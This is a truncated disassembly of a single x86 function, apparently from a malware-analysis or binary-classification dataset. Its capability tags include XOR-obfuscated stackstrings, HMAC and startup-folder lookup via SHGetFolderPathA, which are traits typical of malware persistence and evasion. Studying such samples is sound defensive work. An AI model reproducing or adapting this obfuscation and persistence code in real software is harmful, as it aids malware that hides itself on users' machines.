Function at 0x420a00
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50497b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x3f8
push esi
mov esi, ecx
mov byte [ebp - 0x11], dl
mov dword [ebp - 0x1a4], esi
push edi
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push ecx
call fcn.004638d0
mov byte [ebp - 4], 4
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x20], esp
sub esp, 8
mov edi, 1
mov eax, esp
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004638a0
add esp, 8
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x858c8585
mov dword [ebp - 0x58], 0x1009d83
call fcn.00410500
push eax
mov ecx, esi
call fcn.00469b20
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00463520
push 0x104
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
movzx eax, byte [ebp - 0x11]
xor eax, edi
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebx + 0x24]
push eax
lea edx, [ebp - 0x408]
lea ecx, [ebp - 0x158]
call fcn.00469870
add esp, 4
mov dword [ebp - 4], 6
xor edi, edi
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x44], edi
mov dword [ebp - 0xa4], edi
mov dword [ebp - 0xa0], edi
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 7
jne 0x420eaf
sub esp, 0x18
lea eax, [ebp - 0x158]
mov ecx, esp
push eax
call fcn.00465a60
push edi
mov dl, 1
lea ecx, [ebp - 0x40]
call fcn.004205e0
add esp, 0x1c
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 8
call fcn.004646a0
test eax, eax
jne 0x420bb2
call fcn.00467c60
lea ecx, [ebp - 0xa8]
call fcn.00467c60
lea ecx, [ebp - 0x158]
call fcn.00402660
lea ecx, [ebx + 0xc]
call fcn.00402660
lea ecx, [ebx + 0x24]
call fcn.00402660
lea ecx, [ebx + 0x3c]
call fcn.00402660
lea ecx, [ebx + 0x54]
call fcn.00402660
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0x3c]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x40]
xor esi, esi
imul ecx
mov dword [ebp - 0x68], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x420dda
mov dword [ebp - 0x48], esi
push esi
lea ecx, [ebp - 0x40]
call fcn.00464680
lea ecx, [ebp - 0x23]
mov word [ebp - 0x23], 0xb5
mov esi, eax
mov byte [ebp - 0x21], 1
call fcn.0040a3c0
push eax
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x120]
call fcn.004697b0
sub esp, 0x14
mov byte [ebp - 4], 9
mov ecx, esp
mov edx, eax
push esi
call fcn.004699d0
add esp, 4
lea ecx, [ebp - 0xcc]
xor dl, dl
push 0
call fcn.004205e0
add esp, 0x1c
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 0xb
call fcn.00402660
lea ecx, [ebp - 0xcc]
call fcn.004646a0
test eax, eax
je 0x420da1
mov esi, dword [ebp - 0xcc]
xor ecx, ecx
mov dword [ebp - 0x54], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xc8]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x420da1
xor eax, eax
mov dword [ebp - 0x60], eax
nop dword [eax]
cmp dword [ebx + 0x50], 0x10
lea ecx, [esi + eax]
mov eax, dword [ecx + 0x10]
lea esi, [ebx + 0x3c]
cmovae esi, dword [ebx + 0x3c]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], esi
jb 0x420cab
mov ecx, dword [ecx]
mov dword [ebp - 0x98], ecx
mov edx, dword [ebx + 0x4c]
cmp edx, eax
ja 0x420d6f
sub eax, edx
test edx, edx
je 0x420dfa
movsx edx, byte [esi]
inc eax
add eax, ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x9c], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.004e03a0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x420d6c
mov eax, esi
mov edx, edi
mov esi, dword [ebx + 0x4c]
sub esi, 4
jb 0x420d03
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x420d08
add edx, 4
add eax, 4
sub esi, 4
jae 0x420cf2
cmp esi, 0xfffffffc
je 0x420d3c
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x420d35
cmp esi, 0xfffffffd
je 0x420d3c
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x420d35
cmp esi, 0xfffffffe
je 0x420d3c
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x420d35
cmp esi, 0xffffffff
je 0x420d3c
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
je 0x420d3c
sbb eax, eax
or eax, 1
jmp 0x420d3e
xor eax, eax
test eax, eax
je 0x420deb
mov eax, dword [ebp - 0x9c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x4c]
push edi
call fcn.004e03a0
mov esi, dword [ebp - 0x94]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x420ce6
mov edi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xc8]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0xcc]
sub ecx, esi
inc dword [ebp - 0x54]
add dword [ebp - 0x60], 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x60]
jb 0x420c80
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 8
call fcn.00467c60
mov ecx, dword [ebp - 0x3c]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x68]
add dword [ebp - 0x48], 0x18
inc esi
imul ecx
mov dword [ebp - 0x68], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x420bd7
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 7
call fcn.00467c60
jmp 0x420eea
sub edi, dword [ebp - 0x98]
cmp edi, 0xffffffff
je 0x420d6c
mov ecx, dword [ebp - 0x44]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0xa8]
xor edi, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x9c], eax
je 0x420e6b
mov ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x4c], ecx
mov edx, dword [ecx + 0x10]
nop dword [eax]
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
jb 0x420e3a
mov eax, dword [ecx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x420e44
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.00475720
add esp, 8
test al, al
jne 0x420d6c
mov ecx, dword [ebp - 0x4c]
inc edi
add esi, 0x18
mov edx, dword [ecx + 0x10]
cmp edi, dword [ebp - 0x9c]
jb 0x420e30
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x48]
mov edi, dword [ebp - 0x44]
push eax
cmp edi, dword [ebp - 0xa0]
je 0x420e95
mov ecx, edi
call fcn.00465a60
add edi, 0x18
mov dword [ebp - 0x44], edi
mov dword [ebp - 0xa4], edi
jmp 0x420d6f
push edi
lea ecx, [ebp - 0xa8]
call fcn.004726f0
mov edi, dword [ebp - 0xa4]
mov dword [ebp - 0x44], edi
jmp 0x420d6f
push 0x5204b8
lea ecx, [ebp - 0x120]
call fcn.00402700
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0xa8]
call fcn.00464700
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 7
call fcn.00402660
mov edi, dword [ebp - 0xa4]
mov ecx, edi
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xa8]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x420f40
push 0x5204b8
lea ecx, [ebp - 0x120]
call fcn.00402700
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0xa8]
call fcn.00464700
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 7
call fcn.00402660
mov edi, dword [ebp - 0xa4]
lea ecx, [ebp - 0x23]
mov word [ebp - 0x23], 0xb5
mov byte [ebp - 0x21], 1
call fcn.0040a3c0
push eax
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x120]
call fcn.004697b0
sub esp, 0x14
mov byte [ebp - 4], 0xe
lea edx, [ebx + 0x54]
mov ecx, esp
push edx
mov edx, eax
call fcn.004699d0
add esp, 4
call fcn.0040beb0
add esp, 0x18
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x10c]
test al, al
sete al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x420fcc
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420fbf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
mov al, byte [ebp - 0x11]
add esp, 8
test al, al
je 0x421034
movaps xmm0, xmmword [0x526160]
lea ecx, [ebp - 0x7a]
sub esp, 0x18
mov word [ebp - 0x6a], 0x100
movups xmmword [ebp - 0x7a], xmm0
mov esi, esp
call fcn.0040edc0
push eax
lea edx, [ebp - 0x158]
mov ecx, esi
call fcn.004697b0
add esp, 4
call fcn.0040beb0
add esp, 0x18
test al, al
je 0x421034
movaps xmm0, xmmword [0x524e70]
lea ecx, [ebp - 0xe9]
movups xmmword [ebp - 0xe9], xmm0
mov byte [ebp - 0xd9], 1
call fcn.0040edf0
push eax
lea ecx, [ebx + 0x54]
call fcn.00465880
lea ecx, [ebp - 0x23]
mov word [ebp - 0x23], 0xb5
mov byte [ebp - 0x21], 1
call fcn.0040a3c0
push eax
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x120]
call fcn.004697b0
sub esp, 0x14
mov byte [ebp - 4], 0xf
lea edx, [ebx + 0x54]
mov ecx, esp
push edx
mov edx, eax
call fcn.004699d0
add esp, 4
lea ecx, [ebp - 0x288]
call fcn.0040b890
add esp, 0x18
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 0x11
call fcn.00402660
lea ecx, [ebp - 0x24c]
call fcn.00402a30
push 0
push 0x5204b8
lea ecx, [ebp - 0x24c]
call fcn.00402810
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x278], 0
je 0x42121e
sub esp, 0x28
lea edx, [ebp - 0x288]
mov eax, esp
lea ecx, [ebp - 0x1a0]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00469eb0
add esp, 0x30
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x2d], 0x8fb49986
mov dword [ebp - 0x29], 0x849f979f
mov word [ebp - 0x25], 0x100
call fcn.0040ee20
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00469b20
cmp byte [eax], 0
je 0x42120f
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x2d], 0x8fb49986
mov dword [ebp - 0x29], 0x849f979f
mov word [ebp - 0x25], 0x100
call fcn.0040ee20
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00469b20
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0x9e88848c
mov esi, eax
mov dword [ebp - 0x3c], 0x959b9e94
mov dword [ebp - 0x38], 0x9198ad95
mov word [ebp - 0x34], 0x8c
mov byte [ebp - 0x32], 1
call fcn.0040a6c0
push eax
mov ecx, esi
call fcn.00469b20
cmp byte [eax], 0
je 0x42120f
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x2d], 0x8fb49986
mov dword [ebp - 0x29], 0x849f979f
mov word [ebp - 0x25], 0x100
call fcn.0040ee20
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00469b20
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0x9e88848c
mov esi, eax
mov dword [ebp - 0x3c], 0x959b9e94
mov dword [ebp - 0x38], 0x9198ad95
mov word [ebp - 0x34], 0x8c
mov byte [ebp - 0x32], 1
call fcn.0040a6c0
push eax
mov ecx, esi
call fcn.00469b20
lea ecx, [ebp - 0x180]
push ecx
mov ecx, eax
call fcn.00469c60
mov edx, eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x120]
call fcn.00402540
push eax
lea ecx, [ebp - 0x24c]
call fcn.004658e0
lea ecx, [ebp - 0x120]
call fcn.00402660
lea ecx, [ebp - 0x180]
call fcn.00402660
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x12
call fcn.00463500
mov esi, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
sub edi, esi
xor ecx, ecx
imul edi
mov dword [ebp - 0x54], ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x20], eax
je 0x422c69
cmp byte [ebx + 8], 0
je 0x421282
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
mov byte [ebp - 4], 0x15
lea esi, [ebp - 0xf0]
mov edi, dword [ebp - 0x18]
or edi, 2
jmp 0x4212f6
lea eax, [ecx + ecx*2]
mov word [ebp - 0xab], 0x5c
lea edx, [esi + eax*8]
mov byte [ebp - 0xa9], 0
mov esi, dword [edx + 0x10]
lea ecx, [ebp - 0xab]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4212a4
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x422e61
cmp dword [edx + 0x14], 0x10
jb 0x4212c4
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0xab]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x180]
call fcn.0046d420
mov edi, dword [ebp - 0x18]
or edi, 0x40000
lea esi, [ebp - 0x180]
mov dword [ebp - 4], 0x16
or edi, 4
lea ecx, [ebp - 0xae]
mov dword [ebp - 0x1c], edi
mov word [ebp - 0xae], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0xac], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421312
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x148]
sub eax, edx
cmp eax, ecx
jb 0x422e61
cmp dword [ebp - 0x144], 0x10
lea eax, [ebp - 0x158]
push ecx
cmovae eax, dword [ebp - 0x158]
lea ecx, [ebp - 0xae]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x108]
call fcn.0046d420
or edi, 0x200
mov dword [ebp - 0x1c], edi
push esi
lea eax, [ebp - 0x108]
mov dword [ebp - 4], 0x17
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x80]
call fcn.0046d230
or edi, 0x400
mov dword [ebp - 0x1c], edi
sub esp, 0x18
mov byte [ebp - 4], 0x18
mov esi, esp
lea eax, [ebx + 0x54]
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x50], esi
push eax
call fcn.004657e0
xorps xmm0, xmm0
or edi, 0x800
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040beb0
add esp, 0x18
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x6c]
test al, al
sete byte [ebp - 0x11]
cmp ecx, 0x10
jb 0x421428
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42141e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x421478
mov edx, dword [ebp - 0x108]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42146e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 4], 0x15
mov eax, dword [ebp - 0x18]
test al, 4
je 0x4214cc
mov ecx, dword [ebp - 0x16c]
and eax, 0xfffffffb
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x4214cc
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4214bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
mov eax, dword [ebp - 0x18]
add esp, 8
mov dword [ebp - 4], 0x12
test al, 2
je 0x42151a
mov ecx, dword [ebp - 0xdc]
and eax, 0xfffffffd
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42151a
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421510
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x42182a
xor ecx, ecx
cmp byte [ebx + 8], cl
je 0x4215b7
movaps xmm0, xmmword [0x524e70]
movups xmmword [ebp - 0xe9], xmm0
mov byte [ebp - 0xd9], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xe9], al
inc ecx
cmp ecx, 0xf
jb 0x421544
xorps xmm0, xmm0
mov byte [ebp - 0xd9], 0
lea ecx, [ebp - 0xe9]
mov dword [ebp - 0xf8], 0
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf4], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421583
sub ecx, edx
lea eax, [ebp - 0xe9]
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.00402810
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x108]
mov edi, dword [ebp - 0x18]
or edi, 8
mov dword [ebp - 0x1c], edi
jmp 0x421649
movaps xmm0, xmmword [0x526160]
movups xmmword [ebp - 0x7a], xmm0
mov word [ebp - 0x6a], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x7a], al
inc ecx
cmp ecx, 0x10
jb 0x4215c8
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xa8]
mov byte [ebp - 0x69], 0
lea eax, [eax + eax*2]
mov esi, dword [ecx + eax*8 + 0x10]
lea edx, [ecx + eax*8]
lea ecx, [ebp - 0x7a]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4215f3
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x422e61
cmp dword [edx + 0x14], 0x10
jb 0x421613
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x7a]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x120]
call fcn.0046d420
mov eax, dword [ebp - 0x18]
or eax, 0x800000
or eax, 0x10
mov dword [ebp - 4], 0x1a
lea esi, [ebp - 0x120]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov edi, eax
lea ecx, [ebp - 0x93]
mov word [ebp - 0x93], 0x5c
mov byte [ebp - 0x91], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421662
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x148]
sub eax, edx
cmp eax, ecx
jb 0x422e61
cmp dword [ebp - 0x144], 0x10
lea eax, [ebp - 0x158]
push ecx
cmovae eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x93]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x180]
call fcn.0046d420
or edi, 0x100000
mov dword [ebp - 0x1c], edi
sub esp, 0x18
mov dword [ebp - 4], 0x1b
mov ecx, esp
lea eax, [ebp - 0x180]
mov dword [ebp - 0x50], ecx
push esi
push eax
push dword [ebp - 0x20]
call fcn.0046d230
or edi, 0x200000
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.0040beb0
mov byte [ebp - 4], 0x1a
add esp, 0x18
mov ecx, dword [ebp - 0x16c]
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x42172a
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421720
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 4], 0x19
mov eax, dword [ebp - 0x18]
test al, 0x10
je 0x42177e
mov ecx, dword [ebp - 0x10c]
and eax, 0xffffffef
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42177e
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421771
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
mov eax, dword [ebp - 0x18]
add esp, 8
mov dword [ebp - 4], 0x12
test al, 8
je 0x4217cc
mov ecx, dword [ebp - 0xf4]
and eax, 0xfffffff7
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x4217cc
mov edx, dword [ebp - 0x108]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4217c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x42182a
movaps xmm0, xmmword [0x524e70]
xor ecx, ecx
movups xmmword [ebp - 0xe9], xmm0
mov byte [ebp - 0xd9], 1
nop dword [eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xe9], al
inc ecx
cmp ecx, 0xf
jb 0x4217f0
lea ecx, [ebp - 0xe9]
mov byte [ebp - 0xd9], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421811
sub ecx, edx
lea eax, [ebp - 0xe9]
push ecx
push eax
lea ecx, [ebx + 0x54]
call fcn.00465640
cmp byte [ebx + 8], 0
je 0x42186d
xorps xmm0, xmm0
mov dword [ebp - 0xf8], 0
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
mov byte [ebp - 4], 0x1c
lea esi, [ebp - 0x108]
mov edi, dword [ebp - 0x18]
or edi, 0x20
mov dword [ebp - 0x1c], edi
jmp 0x4218e6
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xa8]
mov word [ebp - 0x67], 0x5c
mov byte [ebp - 0x65], 0
lea eax, [eax + eax*2]
mov esi, dword [ecx + eax*8 + 0x10]
lea edx, [ecx + eax*8]
lea ecx, [ebp - 0x67]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421890
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x422e61
cmp dword [edx + 0x14], 0x10
jb 0x4218b0
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x67]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x180]
call fcn.0046d420
mov eax, dword [ebp - 0x18]
or eax, 0x400000
or eax, 0x40
mov dword [ebp - 4], 0x1d
lea esi, [ebp - 0x180]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov edi, eax
lea ecx, [ebp - 0x5f]
mov word [ebp - 0x5f], 0x5c
mov byte [ebp - 0x5d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4218f6
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x148]
sub eax, edx
cmp eax, ecx
jb 0x422e61
cmp dword [ebp - 0x144], 0x10
lea eax, [ebp - 0x158]
push ecx
cmovae eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x5f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x120]
call fcn.0046d420
or edi, 0x20000
mov dword [ebp - 0x1c], edi
push esi
lea eax, [ebp - 0x120]
mov dword [ebp - 4], 0x1e
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x80]
call fcn.0046d230
or edi, 0x10000
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0x1f
lea edx, [ebx + 0x54]
mov ecx, dword [ebx + 0x64]
sub esp, 0x18
cmp dword [ebx + 0x68], 0x10
mov edi, esp
mov esi, dword [ebp - 0x70]
cmovae edx, dword [ebx + 0x54]
mov eax, dword [ebp - 0x6c]
sub eax, esi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], esi
push ecx
push edx
cmp ecx, eax
ja 0x4219cb
cmp dword [ebp - 0x6c], 0x10
lea eax, [ecx + esi]
mov dword [ebp - 0x70], eax
lea esi, [ebp - 0x80]
cmovae esi, dword [ebp - 0x80]
mov eax, dword [ebp - 0x48]
add eax, esi
push eax
call fcn.004de630
mov eax, dword [ebp - 0x4c]
add esp, 0xc
mov ecx, dword [ebp - 0x48]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x80]
jmp 0x4219e1
mov byte [ebp - 0x200], 0
push dword [ebp - 0x200]
push ecx
lea ecx, [ebp - 0x80]
call fcn.0046b810
xorps xmm0, xmm0
lea ecx, [ebp - 0x2fc]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [edi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [edi + 0x10], xmm0
mov edi, dword [ebp - 0x18]
or edi, 0x8000
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.0040b890
add esp, 0x18
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x421a6b
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421a61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x10c]
cmp ecx, 0x10
jb 0x421abb
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421ab1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x18]
test al, 0x40
je 0x421b0c
mov ecx, dword [ebp - 0x16c]
and eax, 0xffffffbf
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x421b0c
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421aff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
mov eax, dword [ebp - 0x18]
add esp, 8
mov byte [ebp - 4], 0x24
test al, 0x20
je 0x421b57
mov ecx, dword [ebp - 0xf4]
and eax, 0xffffffdf
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x421b57
mov edx, dword [ebp - 0x108]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421b4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
